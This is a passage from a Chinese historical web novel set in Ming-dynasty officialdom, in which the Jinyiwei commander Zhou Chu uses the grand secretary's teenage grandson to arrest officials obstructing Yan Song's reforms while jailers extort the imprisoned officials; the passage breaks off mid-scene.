“周大人能安然无恙,实乃我大明之幸。” 杨一清假模假式道。 “是啊,周大人这样的肱股之臣能安然无恙,实乃朝廷之幸。” 毛纪跟着附和道。 “陛下,周大人如今如何了?” 夏言试探道。 “哎,周衡器的身体受了重伤,修养了这么久,也不是很好,伤筋动骨一百天,他似乎要修养很久。” 嘉靖叹了口气道。 毛纪和夏言听到这话,眼睛都亮了。 果然,这和他们从谢迁那里得到的消息完全对上了,倘若周楚不能有所作为的话,那么接下来几个月,就是他们大展拳脚的时候了。 至于周楚是真的重伤未愈,还是害怕了,躲在那个小山村里不敢出来了,对毛纪和夏言而言没什么区别。 他们要的就是时间,只要有几个月的真空期,他们就可以做很多事,安插很多人。 如今朝中的局势虽然不甚明朗,但其实也有脉络可循。 杨一清作为内阁首辅,现在基本什么事都不管了,他们无论做什么,杨一清只会睁一只眼闭一只眼。 内阁之中,一个杨慎不会是他们的对手,毕竟杨慎形单影只,目前也只是个孤臣,他的话语权基本来自皇帝和周楚的支持。 如今周楚出了事,短时间内似乎不能有所作为了,那么杨慎的话语权就丧失了大半。 至于韩玠这个吏部尚书,他们根本没放在眼里,区区一个韩玠,夏言都可以将他轻松拿捏,更不用说内阁之中还有毛纪和谢迁这种老狐狸了。 张家村,周楚收到来自京城的圣旨之后,看了一眼旁边的陈昭。 “你派个人,去苏州府告诉严大人,让他有时间的话,来这里一趟。” 陈昭听到这话,不敢怠慢,当即就让人快马加鞭去给严嵩送信了。 严嵩收到陈昭的信之后,顿时出了一身冷汗,当即意识到一个很严重的问题,自己自从官复原职之后,一直在忙着推行考成法的事,还没有去拜访周大人。 一想到这里,严嵩再也坐不住了,轿子也不敢坐了,骑着一匹快马,带上一队保护自己的人马就直奔绍兴而去。 这个时候,严嵩不敢有丝毫放松,他很清楚,如今的江南,不知道有多少人想让自己死。 阻止考成法的方法有几种,其中最直接有效的一种就是杀死严嵩,如此一来,就能大大推迟考成法的推行,一旦延迟,能不能推行下去,还真不好说。 官场上的事,从来最怕的就是一个拖,一旦拖下去,就可以大事化小,小事化无。 不过如今的江南省不是一年多以前的江南省了,经过一年前周楚的清算,如今的江南省无论是官员还是士绅,胆子都小了很多,做事不会像之前那般肆无忌惮了。 他们想对严嵩出手,却又怕真的杀了严嵩之后,迎来的是周楚这位锦衣卫指挥使更猛烈地清算。 如今的周楚,在绍兴,似乎在养伤,他们尽量不想惊动周楚,这种情况下,即便有人想对严嵩动手,也会被其他人阻止。 严嵩一路快马加鞭,也顾不上骑着的马的死活了,他甚至都感觉自己的身子骨都快被颠的散架了,终于来到了张家村村口。 此时严嵩的马已经因为连续全功率奔跑,处于脱水状态,严嵩下马之后,那匹马直接躺在了地上,眼看着是活不成了。 严嵩却顾不了这么多了,来到村口,看到正在值守的玄武军。 “在下严嵩,求见周大人。” 严嵩强忍着差点散架的身体的不适说道。 守在村口的两个玄武军听到这话,对视了一眼,并没有直接放行。 “稍等,我前去通报。” 其中一个玄武军说完转身进入张家村。 严嵩在村口等了许久,原本一路奔波的身子本身就很难受,硬是站了近半个时辰,那进去的玄武军这才出来。 周楚就是要故意晾一晾严嵩的,倒不是为了显示自己的威仪,主要目的还是为了敲打严嵩,防止他以后太目中无人。 更何况以周楚目前的身份,很多事不是想怎么做就怎么做,比如严嵩出狱之后没有第一时间来找自己,这件事在周楚个人看来没什么,毕竟严嵩要推行考成法。 但作为锦衣卫指挥使的周楚,严嵩此举就很不妥,严嵩是周楚一手提拔上来的,倘若眼里没有周楚的话,是一个很危险的信号,其他人得到这个信号之后会怎么想,怎么做? 官场上,很多事都不是一件单纯的事,要串联起来看,所以很多事情如何做,都是身不由己的。 即便是周楚,也只能是在规则之内,最大力度的去做事,而不会直接打破规则。 无论是之前利用倭寇,还是利用反贼,说白了还是不想直接撕破脸,打破规则。 身在官场之中,就要遵守官场的规则,否则就会被所有人所不容。 严嵩自然也明白这个道理,所以即便他站了半个时辰,站的满头大汗,却也没有丝毫怨言,心中只能希望周大人能够原谅自己,否则就算周大人不和自己计较,其他人也会计较。 比如同样是被周楚提拔起来的张璁,亦或是京城之中的韩玠和杨慎等人。 严嵩本身就是站在周楚和皇帝这边的,倘若再失去这边官员的支持,政治前途就真的完了。 很多时候,朋党就是这么不知不觉形成的,不是说周楚不想去结党,背靠周楚的朋党就不存在了。 严嵩听到这话,顿时松了口气,跟着玄武军进入了张家村之中。 刚进张家村,严嵩就看到了一个熟悉的身影,一个小黑胖子,正是得知自己父亲前来的严世蕃。 “爹,你怎么来了?” 严世蕃有些惊喜道。 严嵩看着眼前黑了不少,瘦了不少的儿子,眼神之中流露出一丝心疼。 “我来找周大人述职,我得先去见周大人,回头再和你说。” 严嵩此时根本没时间和严世蕃叙旧,他很清楚,此时自己应该第一时间去见周大人。 严嵩一路小跑,来到周楚所在的院子之中。 “大人,下官来迟了,下官罪该万死。” 严嵩直接跑到周楚面前,喘着粗气道。 那模样,要多狼狈有多狼狈。 周楚看到严嵩这副模样,不禁觉得好笑,这都过去半个时辰了,严嵩不可能这般狼狈,这副模样不过是做给自己看的罢了。 “哦?严大人何罪之有?” 周楚挑了挑眉道。 “下官其罪有二,罪一,江南省之中居然能出现那么多人刺杀大人,此乃下官失察,下官罪该万死,其罪二,大人为下官向陛下求情,下官得以官复原职,出狱之后却没有第一时间来拜访大人,下官真不是个东西。” 严嵩痛心疾首道。 “严大人言重了,哪有这么严重,你只不过是没把本官放在眼里罢了。” 周楚满脸笑容地看着严嵩道。 严嵩听到这话,吓得汗毛直竖。 “大人,下官不敢,您给下官一百个胆子,下官也不敢有这等心思。” 严嵩吓得差点直接跪下。 第260章 周楚:要找个孙猴子大闹江南,被选中的杨盛斋 “大人何出此言,下官惶恐。” 严嵩说这话的时候,脑门上全都是冷汗,他虽然想过周楚会生气,但从未想过周楚会以如此严厉的语气说自己。 严嵩自认识周楚以来,还从未见过周楚现在这样,所以严嵩感到很惶恐,特别是听到这话的时候,内心突突直跳,心中无比后悔,自己出狱的第一时间怎么就没来拜访周大人呢。 “惶恐?本官看来严大人潇洒得很啊。” 周楚冷哼一声道。 “大人冤枉啊,下官在大狱之中的时候,一直心系大人,知道大人平安无事的时候,下官无比惊喜,只是陛下来了旨意,让下官推行考成法,下官一时糊涂了,居然忘了来拜访大人,下官实在是罪该万死。” 严嵩弓着腰说道。 周楚从春兰手中接过茶壶,倒了一杯茶,悠哉悠哉地喝起了茶,再也没多看严嵩一眼。 严嵩就这么保持着躬身行礼的姿态,周楚不发话,他丝毫不敢动弹,不过这个姿势极难保持,仅仅一会,严嵩就感觉腰酸背疼。 严嵩清楚,这是周大人对自己的惩罚,对严嵩而言,这不是坏事,周大人愿意惩处自己,说明不会真的和自己计较,倘若真的放弃自己了,恐怕连见都不会见自己。 所以严嵩更要将姿态做足,严嵩很清楚,此时自己越惨越好。 如此,周楚慢条斯理的喝了一刻钟的茶,这才看向严嵩。 “严大人最近风头有点过盛了,陛下的御书房都快放不下弹劾你的奏疏了。” 周楚说着,将嘉靖给自己的圣旨拿了出来,递给严嵩。 严嵩听到这话,心中一颤,他虽然清楚自己在江南省推行考成法会遇到诸多阻力,却从未想过会这么严重。 一想到这里,严嵩不禁感到庆幸,幸亏自己的姿态做的足,有周大人替自己顶着,基本不会有什么事。 这么想着,严嵩接过圣旨,打开看了看,果然圣旨和严嵩猜测的差不多,是让周楚这个锦衣卫指挥使派人调查严嵩。 “大人准备让谁来调查本官?陈千户还是?” 严嵩小心翼翼地问道。 严嵩很清楚,既然皇帝下了圣旨了,那么该调查还是要调查的,该走的流程一点都不能少。 不过此时严嵩悬着的心已经彻底放了下来,周大人愿意把圣旨给自己看,严嵩明白,这是完全没把自己当外人,让周大人调查自己,那不就是公然偏袒自己吗? 谁不知道自己是周大人一手提拔上来的? 旁边的陈昭听到这话,翻了个白眼,他不过是苏州府的千户,何德何能去调查一个统管江南省的封疆大吏。 “陈延庭?他还不够格。” 周楚瞥了一眼陈昭,丝毫没给他留情面道。 延庭是陈昭的字。 陈昭听到这话,不止没生气,反而觉得周大人这是没把自己当外人,才会这么说,心中很是高兴。 “那大人准备派谁去?” 严嵩听到这话,顿时有些摸不着头脑,整个江南省的锦衣卫,除了周楚这位锦衣卫指挥使之外,最大的官职就是千户了,陈昭又是江南各府锦衣卫千户之中和周楚走的最近的。 陈昭都不够格,难道周大人要亲自出马? “严大人可曾看过关于孙悟空的话本?” 周楚看到严嵩疑惑的表情,并没有为他解惑,反而问了一个看似完全不相干的问题。 这个问题让严嵩愈发糊涂了,不过还是如实回答了周楚的问题。 “下官闲暇之时,倒是看过一些,关于孙悟空和唐玄装的话本,版本众多,下官也只是看过其中一版。” 严嵩说道。 周楚听到这话,点了点头。 “倘若玉帝想要对天庭和三界做出变革,但又不想亲自动手,他该如何做?” 周楚看着严嵩,继续问道。 严嵩听到这话,想了想,想到周楚方才提到了孙悟空,心中顿时有了答案。 “那就让孙猴子闹一闹,闹翻天,把天上的所有人都打一遍,这些人同意也得同意,不同意也得同意。” 对于严嵩的这个回答,周楚并不意外,倘若连这一点都想不通,那就白在官场混了。 “所以我们需要一个孙猴子,在江南省闹一闹,我们做事需要讲规矩,但孙猴子不需要,你严大人也要受一些委屈,你受的委屈越多,考成法推行成功之后,功劳才会越大。” 周楚吃了口糕点道。 严嵩听到这话,眼睛顿时亮了,直到此时,严嵩才如同醍醐灌顶一般,完全明白了周楚的打算。 “大人,这孙猴子的人选,不大好找吧。” 严嵩有些不太确定道。 “还真是巧了,本官身边,还真就有这么一个适合的人选。” 周楚说完这话,看向了身旁的沈炼。 “你去把杨盛斋叫过来。” 沈炼听到这话,直接离开了周楚所在的院落,去找杨盛斋了。 “杨盛斋?” 严嵩听到这个名字,有些疑惑,对于杨一清的这个小孙子,严嵩并不是很清楚,严嵩只认识杨一清的儿子,他倒是知道杨一清好像有两三个孙子,但每个孙子叫什么名字,严嵩并不清楚。 “杨盛斋可是首辅大人的宝贝孙子。” 周楚若有所指道。 严嵩听到这话,顿时恍然,知道了杨盛斋的身份之后,严嵩的眼睛愈发明亮了。 “孙猴子要有足够的背景和身份,才能随意胡闹,也不会有事,倘若没有足够的背景和身份,谁敢大闹天宫呢?” 周楚看着严嵩道。 “大人真是神机妙算,下官不及大人之万一。” 严嵩拍马屁道。 周楚听到这话,只是笑了笑,并没有回话。 很快,杨盛斋跟着沈炼来到了周楚和严嵩面前。 “学生见过老师。” 杨盛斋来到周楚面前,恭敬行礼道。 杨盛斋原本有些离经叛道,哪怕是在杨府,对自己的父亲和爷爷都不是很服气,唯独对周楚心服口服。 自从加入学院之后,特别是在周楚被刺杀之后,杨盛斋知道了太多关于周楚的事了,单单周楚做的那些事,已经让杨盛斋极为崇拜了。 更不用说周楚还教了他们格物学,向他展示了很多他想都没想过的现象,让杨盛斋对格物学极为狂热。 “我打算让你小子加入锦衣卫,成为锦衣卫千户,你可愿意?” 周楚看着杨盛斋,问道。 杨盛斋听到这话,懵了,旁边的陈昭听到这话,差点骂娘。 倒是沈炼,对周楚做事的风格无比熟悉,并没有感到丝毫意外。 如今的杨盛斋才刚刚十四岁,在这之前甚至没有任何官场的经验,陈昭经过了多少年的努力,才混到了千户的位置。 眼前这个十四岁的少年,起步便是锦衣卫千户,还是指挥使大人钦点的,这找谁说理去? 不过陈昭也只是想想,其实心里没有什么不平衡,方才周楚和严嵩的对话他可是听的一清二楚,眼前这个少年要去做什么,他很清楚。 那些事他做不来,也不敢做,只是想想,他就觉得头皮发麻。 “学生只想沉下心来研究格物学。” 杨盛斋有些犹豫道。 “格物学自然是要研究,以后也有的是时间研究,不急于一时,你先加入锦衣卫,替我办一件事。” 周楚看着杨盛斋,耐心道。 对于这个沉迷于格物学的学生,周楚还是很喜欢的。 杨盛斋听到这话,知道自己推脱不过了,能帮到老师,对杨盛斋而言也是一件值得高兴的事。 “老师让学生办什么事?” 杨盛斋问道。 “调查这位严大人。” 周楚笑道。 杨盛斋听到这话,看了看周楚,又看了看旁边的严嵩,满脸疑惑。 第261章 周楚的谋划:增收商业税,叹服的杨一清 “老师,学生不明白......” 杨盛斋迟疑道。 “你不需要明白,该如何做,回头我会告诉你,你如果担心,也可以写封信给你爷爷,问一问他的意见。” 周楚笑道。 周楚话都说到这个份上了,杨盛斋要是再不同意,就有些不识好歹了。 “学生全凭老师差遣。” 杨盛斋行礼道。 “你先下去吧。” 周楚看着杨盛斋道。 杨盛斋离开之后,周楚这才看向严嵩。 “严大人以为这位如何?” 周楚笑道。 “大人真是太会选人了,杨公子再适合不过了,身份背景都够了,还是大人的学生,这等身份,足以让他在随意折腾了。” 严嵩笑道。 “这还不够,本官想让严大人推行考成法的同时,将整个江南省的商稅提高到一成,并且将商稅作为考成法考核的标准之一。” 周楚看着严嵩,说出了自己预谋已久的话。 严嵩听到这话,头皮一紧,光是推行考成法,自己就遇到了这等阻力,倘若在增加商业税,自己将要遭遇的阻力,严嵩光是想想就感觉脊背发寒。 大明商稅三十税一,但如今也已经名存实亡了,基本收不上来,不过自从南直隶实行考成法之后,这种情况有所改观,因为考成法,南直隶的官员将已经很多年收不上来的商业税也都收齐了。 虽然只是三十税一,但商业利润的总数极其庞大,即便只是三十税一,都是一个很大的数字。 但三十税一周楚是不满足的,既然南直隶能将这三十税一的商业税收上来,江南省就可以提升到十税一,也就是一成的商业税。 一成的商业税,还只是周楚在试水,倘若一成的商业税能收上来,将来提高到两成三成,也不是不可以。 商人赚的钱可比农民地里刨食种地弄的那点多得多,甚至完全不在一个量级,朝廷以往之所以没钱,是因为把收税的主体完全搞错了。 当初洪武年间,洪武皇帝朱元璋刚刚建立大明,为了与民休养生息,让商人更好的沟通南北,让商业为整个大明的经济注入活力,这才将商业税定位三十税一。 后面的皇帝不说有没有想改的,即便有想改变税制的,那些文官也都会言辞激烈的反对,并且理由还很充分,不能违背祖制。 “这件事,恐怕很难,大人。” 严嵩说这话的时候,感觉口干舌燥,这句话他极为艰难才说出来的,毕竟在周楚面前说这句话,等于承认他的无能,承认他办不好这件事。 这种话只会让自己的上级失望,但即便如此,严嵩也要考虑现实,在严嵩看来,将考成法完全推行下去已是难上加难,毕竟江南省不是南直隶,这里的官员自称一系,他们肯定会抱团抵抗考成法的实行。 实际上严嵩不是没办法,但严嵩需要一定的权限,很多事需要周楚拍板做决定,很多权限严嵩拿不准。 “所以说,做事要讲究方式方法,原本的商业税是三十税一,倘若哪个官员将商业税收上来,就拿出这三十之一奖励给他,剩下的归朝廷,入国库,如此一来,那些官员岂会不尽心尽力?” 周楚看着严嵩,说道。 严嵩听到这话,眼睛顿时亮了。 “大人真是深谋远虑,如此一来,根本不用本官驱使,那些官员为了自身利益,也会想办法把这些商稅收上来,只是如此一来,就怕有些人为了钱对那些小商人压榨过甚。” 严嵩略有顾虑道。 “这个简单,再补一张通告,但凡有人的商稅被多收了,或者数目不对,可以去锦衣卫所击鼓鸣冤,目前这些锦衣卫还是可用的,至于以后,若是有锦衣卫和官员勾结,那就再想办法。” 周楚拍板道。 任何一件事,都是一体两面的,给与了官员抽成奖励的同时,就会让一些官员昧着良心压榨底层商人,这不是周楚想看到的,也不是朝廷想看到的,一旦底层商人被压榨过甚,整个江南的经济将会失去活力。 这绝不是周楚想看到的。 所以,必须要对这些官员实行一定的监管,目前而言,江南省的锦衣卫都还是可用的,毕竟去年他们才跟着周楚干了很多大事,使得他们在江南省的地位得到了空前的提高。 现在江南省的锦衣卫对周楚这个指挥使的忠诚度,对朝廷的忠诚度,空前的高,最起码短时间内不会出什么问题。 至于以后,随着商业税的逐步提升,再慢慢完善其中的监管机制,甚至要对锦衣卫也要形成一定的监管。 否则锦衣卫可以监察百官,无人制衡锦衣卫的话,最终锦衣卫就会步入深渊。 不过目前这几年,江南省的锦衣卫还是够用的。 眼看周楚考虑的如此周全,严嵩愈发觉得眼前这个年轻人深不可测,这位锦衣卫指挥使对一件事要么不做,一旦要做的话,都会将所有的细节考虑清楚,甚至他想不到的细节,周楚都能想到。 能力,手腕,格局,眼光,严嵩发现无论是哪一样,自己都比不上眼前的这个年轻人。 这种人,注定要成为名留青史的名臣,能跟着这种人做事,严嵩动力十足,他很清楚,只要自己紧跟周大人的步伐,做好周大人安排的每一件事,将来步步高升,不过是顺带的事。 京城之中,杨一清收到了自己孙子杨盛斋的来信,他拆开一看,顿时被上面的内容逗笑了。 “父亲,老三说了什么?” 杨质庵看着自己的爹,满脸困惑道。 “周衡器让他成为锦衣卫千户,去调查严惟中。” 杨一清没有隐瞒,直接说了出来。 杨质庵听到这话,一头雾水。 “周衡器这是卖的什么关子?这其中不会有诈吧?” 杨质庵作为一个父亲,虽然看不惯杨盛斋的所言所行,但对他的安危还是十分上心的,倘若自己的儿子因此被周楚算计,他会十分自责。 “确实有诈,不过倒也无妨,周衡器无非是想借为父的势,让小三在江南省大闹一场罢了,调查严惟中是假,闹他个昏天黑地,不按规矩出牌,将那些不实行考成法的官员全都抓起来,恐怕才是周衡器想让你儿子做的。” 对于周楚的想法,杨一清门清,周楚正是知道杨一清能看明白,才特意告诉杨盛斋,可以给他写一封信,询问他的意见。 周楚相信,杨一清会告诉自己的孙子该怎么做,很多周楚不方便说的话,杨一清是可以说的。 毕竟周楚只是让杨盛斋去调查严嵩,至于杨盛斋具体要怎么做,要做什么,还得杨一清为他的孙子点明。 “这怎么能行,如此一来,老三岂不是要得罪江南的那些官员,况且如此胡来,不按官场规矩来,以后官场岂能容得下他?” 杨质庵听到这话,顿时急了。 杨一清却是笑着捋了捋胡须,丝毫不急。 “你急什么?这是好事,周衡器能利用小三,说明他有价值,无论是什么价值,人活一世,只要有价值,就不愁出路,为父让他去余姚求学,不就是想让他搭上周衡器这条线吗?既然要搭上这条线,还不想做事,哪有这么好的事?” 杨一清瞥了一眼自己的儿子,一副恨铁不成钢的模样说道。 杨质庵听到这话,情绪并没有得到丝毫缓解。 “可是老三才多大,不过是个半大孩子,这种场面,他稍不注意,可能就会粉身碎骨。” “那你就太小看周衡器了,纵观周衡器为官以来,做的哪一件事不是在刀尖上跳舞?偏偏每次他都能平稳落地,周衡器在做一件事之前,会把所有的细节都考虑清楚,小三事后或许会有些麻烦,但不会有什么危险。” 杨一清侃侃而谈道。 “麻烦就代表着机遇,他为朝廷,为陛下做了这么多事,肯定会进入陛下的视线,小三还年轻,最严重不过是进大狱一段时间,还可能不用如此,只是被罢官罢了,等到这件事的风波平息之后,再过些年,才是小三真正大展拳脚的时候。” 杨一清说到这里,忍不住叹了口气。 “周衡器啊周衡器,你还真是算无遗策,就连老夫的想法恐怕都算到了吧,老夫也不得不替你做事,给这小子写一封信。” 杨一清说着看向一旁的下人。 “取笔墨纸砚。” 第262章 十四岁的锦衣卫千户,破坏规矩的孙猴子 杨盛斋收到自己爷爷的信,打开仔细看了看,看完之后,顿时倒吸了一口凉气。 原来如此,原来如此! 怪不得自己的老师语焉不详呢,原来是让自己在这江南省闹个天翻地覆。 杨盛斋对于自己亲爹还有两个哥哥腐儒的想法一直都不屑一顾,但对自己的爷爷,一直都很信服。 之前周楚让他写信问一问自己的爷爷,杨盛斋心中并没有多少抵触,正所谓家有一老如有一宝,自己的爷爷在朝中为官多年,很多事比自己看的透彻多了,问一问爷爷的意见总是有必要的。 只是他没想到得到的回复是这个样子,杨盛斋又看了看杨一清的回信,眼神之中闪过兴奋地光芒。 他从不是一个循规蹈矩的人,如今自己的老师给自己安排了这个差事,正合自己心意,杨一清在信中和他说的很清楚,这件事做完,顶多进大狱一段时间,对于这点,杨盛斋丝毫不在乎。 在大狱之中,对他而言,会有更多时间研究格物学。 至于自己爷爷说的什么这件事做完,自己就会进入陛下的视线之中,杨盛斋倒是不怎么在乎,杨盛斋只在乎周楚对他的看法和对格物学的研究,其他的都不是很重要。 苏州府来了个十四岁的锦衣卫千户,得到这个消息之后,无数人都很震惊,所有人都想到了周楚,这个年轻的锦衣卫指挥使,除了周楚之外,还有谁能在这个年纪就到这个职位? 当所有人得知杨盛斋是内阁首辅杨一清的孙子,同时还是周楚的学生的时候,顿时恍然。 怪不得人家年纪轻轻就能成为锦衣卫千户呢,就这身份,就这背景,纵观整个大明,有几个比得上的? 早在杨盛斋赴任之前,无论是周楚还是陈昭,都给苏州府的锦衣卫下了严格的命令,对杨盛斋的命令要百分之百的执行,无论他要做什么事,都跟着做就完了。 因此杨盛斋接管苏州府的锦衣卫所异常顺利,毫无波澜,并没有任何不识趣的锦衣卫跳出来表示对他的不服气。 大家都很服气。 杨盛斋带着整个苏州府的锦衣卫,开始在苏州横行霸道了。 严府说进就进,而且来来回回进了好多回,似乎根本没把严嵩这位江南省一把手放在眼里。 严嵩似乎拿这个年轻人毫无办法,只能眼看着杨盛斋咄咄逼人,只能处处忍让。 那些江南一系的官员得到这个消息之后,顿时觉得大快人心,他严嵩还有今日? 不过他们都很疑惑,不是说这个杨盛斋是周楚的学生吗?还是周楚任命的锦衣卫千户,为何会对严嵩动手? “这你们就不懂了吧,这位杨公子再怎么说也是首辅大人的孙子,又岂会任由周衡器拿捏?周衡器估计是打错了算盘,他多半是想着避嫌,才用的杨公子。” 面对同僚满脸不解的眼神,一个江南一系的官员自认为看清一切,侃侃而谈道。 其他官员听到这话,深以为然地点了点头,除此之外,他们确实找不到合理的解释。 不过很快这些官员就笑不出来了,因为他们口中的这位杨公子,开始带着苏州府的锦衣卫,按照严嵩给他的名单,开始一个个抓人,根本不讲证据。 要知道苏州府的锦衣卫可不是京城的北镇抚司,北镇抚司抓人可以不讲证据,但苏州府的锦衣卫可没有这么大的权利。 杨盛斋这么做,属于僭越,也属于坏了规矩。 但周楚正是要让杨盛斋坏规矩,让这位首辅大人的孙子吸引所有火力的同时,为严嵩清除所有阻力。 杨盛斋突然调转枪头,杀了所有人一个措手不及,他们怎么都没想到,这位杨公子居然如此胆大包天,如此不按套路出牌。 这些被抓的官员,杨盛斋直接让人放进了苏州府的大狱之中,如今苏州府的大狱去年经过周楚的整治,再加上如今整个江南大权在握的是严嵩,即便狱卒之中有些和江南一系一些官员之间有来往的,或者是有亲戚的,也不敢做任何出格的事。 周楚去年的杀鸡儆猴他们还历历在目,当初有两个狱卒想要铤而走险,直接被周楚的人抓了起来,面对的是锦衣卫的雷霆打击,不只是那两个狱卒被杀了,就连整个大狱之中的狱卒甚至牢头都受到了不少的牵连。 锦衣卫对狱卒,甚至各个衙署之中的胥吏,有着天然的压制力,锦衣卫杀这些狱卒和胥吏,别说有证据了,就是没有证据,说杀也就杀了。 因此如今的这些狱卒,一个比一个老实,他们只想保命,在这个基础上,他们可以打钱。 实际上去年一年,因为周楚的大刀阔斧,抓进来的官员有很多,大狱之中的官员比以往要多的多,而且这些官员一个比一个有钱,即便是被锦衣卫的人抄了家,但正所谓狡兔三窟,这些官员大部分还都有外宅藏了一些家底。 虽然不多,却也够他们在大狱之中进行打点一段时间的,因此这些狱卒去年一年打的钱,比以往很多年加起来都多。 也正是因此,让这些狱卒内心的想法有了很多的转变,原本他们是坚决站队江南一系的官员的,倒不是因为什么亲戚关系之类的,主要是利益足够。 现在他们发现跟着锦衣卫做事,获得的好处似乎更多,而且还不用担心被锦衣卫搞,不用提心吊胆。 他们这些狱卒烂命一条,整日在这暗无天日的大狱之中,除了打钱就是赌钱,要么就是休沐的时候去花船或者青楼之中找女人。 基本上所有的狱卒都不太会存钱,有钱就吃喝嫖赌,一旦成为狱卒,向上上升的通道就是被堵死的,饿不死,却也毫无希望。 因此这次这些这么多官员被关进大狱之中,这些狱卒非但没有帮他们,反而显得很兴奋。 他们不知道那个为首的年轻锦衣卫是谁,不过一看就知道身份非同一般,而且此人居然敢一下子抓了这么多官员,整个苏州府的大狱几乎被塞满了。 这些狱卒都意识到了一个问题,他们要发财了,这么多官员,一个个打钱,那得是多少钱啊。 “头,这是什么路数?” 其中一个狱卒满脸不解地看着牢头问道。 牢头也是一头雾水,他完全看不懂这些锦衣卫大爷唱的是哪一出,一下子进来这么多人,他们到底是要打钱还是不打。 要是以往进来的少,哪怕这些官员身居高位,哪怕这些官员很快就可能官复原职,他们该打钱的还是要打。 这是大狱之中的规矩,那些官老爷官复原职之后,也不会和他们一般见识,这就是规矩,是潜规则,进大狱就要默认接受这种潜规则。 但这次进来的实在是太多了,牢头有些拿不准,正所谓法不责众,这么多官老爷万一全部官复原职,他们要是真的打钱,到时候可够他们喝一壶的。 “我帮你们探一探口风吧。” 牢头叹了口气,硬着头皮来到一位锦衣卫面前,不着痕迹地拿出一锭银子。 那位锦衣卫看了看牢头,没有客气,直接把银子收了起来。 他们锦衣卫对狱卒和牢头的钱,完全可以收,收完之后无论办不办事,都无所谓。 这个道理牢头也懂,不过这个钱是必须要给的,钱是敲门砖,没有这块敲门砖,他又如何能得到确切的消息? “有话说,有屁放。” 收了钱的锦衣卫看着牢头,略显不耐烦道。 “大人,这是什么情况?这么多人被关进来,会不会有官复原职的可能?” 牢头小心翼翼道。 锦衣卫听到这话,嘿嘿一笑。 “你个老小子,是想问你们能不能从这些人身上打钱吧?” 锦衣卫对于狱卒的这些手段那是门清。 牢头听到这话,也不意外。 “大人目光如炬,没有确切的消息,小人也是忐忑,毕竟这么多人,要都得罪了,小人可就吃不了兜着走了。” 牢头点头哈腰道。 “你倒是个有眼色的,这么多人,你们确实容易得罪人,这么着吧,你要是不放心,回头打了钱,送一些给我们锦衣卫所,这个干系,我们锦衣卫所为你担了。” 锦衣卫说道。 听到这话,牢头眼睛顿时亮了。 第263章 无法无天杨盛斋,打破规矩 牢头从锦衣卫的话中听出了弦外之音,那就是这次进来的这些官员,多半是出不去了,即便出去,也不是官复原职,而是被流放。 如此一来,牢头也就可以让手下的人放心打钱了。 不过牢头清楚,该给锦衣卫孝敬的钱是一分都不能少,如此一来,自己的人可能会少赚点,却很安全,给锦衣卫的钱,相当于给众人买了个保险。 对牢头而言,少赚钱无所谓,只有活着,才能一直赚钱,赌钱,玩女人,死了就什么都没了。 杨盛斋从大狱深处走出来,刚好看到这一幕,这锦衣卫也不藏着掖着,来到杨盛斋面前。 “大人,这牢头问属下这些人还能不能出去,他们这种狱卒,向来以打钱为生。” 这位锦衣卫说这话的时候,恭敬地将狱卒递给自己的银子双手举过头顶,躬身面对杨盛斋。 这就是锦衣卫,等级森严,倘若这个锦衣卫胆敢欺上瞒下,被杨盛斋知道的话,都不用杨盛斋做什么,其他人为了讨好杨盛斋,都会清算他。 杨盛斋瞥了一眼锦衣卫双手举着的银子,并没有去接,杨盛斋自小就锦衣玉食,对这点钱自然是看不上,对他而言,拿了这个钱反而失了身份。 只是杨盛斋听到锦衣卫说狱卒以打钱为生的时候,顿时来了兴致。 他之前一直在京城,所以对自己的老师周楚过往的事迹了解的最多,最清楚。 甚至他之所以愿意来学院求学,多半都是冲着周楚来的,周楚的经历太过传奇,不只是那些官家小姐一个个将这位锦衣卫指挥使当成梦中情人,很多京城的少年郎,更是将周楚当成了偶像。 杨盛斋就是其中之一。 之前杨盛斋因为崇拜周楚,刻意打听过很多周楚的往事,其中就包括陆家落难之时,周楚前往大狱之中为陆家打点疏通。 也正是通过这件事,杨盛斋才知道原来大狱之中还有这么多门道。 “你过来。” 杨盛斋冲着牢头摆了摆手。 牢头见过无数大人物,其中让他感觉压迫感最强的,无疑是锦衣卫指挥使周楚。 此时面临杨盛斋虽然压迫感不如周楚,但眼前的这位年轻人的路数他摸不清楚,而且当初的锦衣卫指挥使周楚根本就没把他放在眼里,甚至没多看一眼。 如今牢头直面杨盛斋这位锦衣卫千户,压力极大,这种压力基本都是他自己带给自己的,出于对未知的恐惧。 他不明白这位大人物叫自己干什么,却不敢怠慢,急忙来到杨盛斋面前,恭敬行礼。 “小人见过千户大人。” 锦衣卫千户的服饰和其他锦衣卫有所区别,这一点牢头还是能认出来的。 “你且和本官说说,你们这打钱都有什么门道?” 杨盛斋饶有兴致道。 一旁的锦衣卫眼看着杨盛斋不再注意他,顿时松了口气,不着痕迹地起身,将银子收了起来。 杨盛斋没收,意味着这钱就是他的了,他明白这点钱,这位身份贵不可言的千户是看不上的。 牢头看着杨盛斋满脸好奇的表情,顿时松了口气,他当牢头这么多年,也算是阅人无数,眼前这个少年千户,内心藏不住事,他算是看出来了,这位千户大人估摸着也只是好奇。 于是牢头便将他们打钱的门道一五一十的讲给杨盛斋听,杨盛斋干脆坐了下来,细细听牢头讲述。 “你是说,对那些没人送钱的犯人,给他们吃麸糠?” 杨盛斋好奇道。 “是的,大人。” 牢头恭敬道。 他并没有说实话,实际上对于那些没人送钱的犯人而言,麸糠都是奢望,里面只会加极少的麸糠,甚至会掺杂一些砂石。 当然,这种话牢头是不敢说的,眼前这个千户毕竟是个少年,少年的性子一般是嫉恶如仇的,万一千户觉得自己等人太过残忍,那可就吃不了兜着走了。 所以牢头虽然说的很多都是对的,不过对其中的一些细节进行了隐瞒或者调整。 牢头讲完之后,杨盛斋听的有些意犹未尽,他拍了拍牢头的肩膀。 “该打钱打钱,这些人都有钱,能打多少就看你们的本事了,回头将打出来的钱,七成送到锦衣卫所,他说的不错,这个干系,我锦衣卫替你们担了。” 杨盛斋笑道。 牢头听到这话,一颗悬着的心终于彻底落下来了,有了这位千户大人的保证,他还怕什么?这不是奉命打钱吗?那他可就不客气了,往狠里打,没听这位千户大人说吗?这些人都有钱,原本打钱的标准是每个月十两、二十两、三十两、四十两这些不同的标准,给的钱不同,犯人在大狱之中的待遇也就不同。 但有了杨盛斋的话,牢头决定把对这些人的打钱门槛提升到三十两起步,后面的依次提高,比如原来二十两的档次提升到五十两,三十两的档次提升到七十两。 如此一来,即便拿出七成给锦衣卫,他们也还是大赚特赚,毕竟这次进来的人实在是太多了。 和牢头谈论完之后,杨盛斋再次来到被关押的那些官员面前。 “诸位,摆在你们面前的有两条路,本官可以将你们之中的五个人放出去,但也只有五人。” 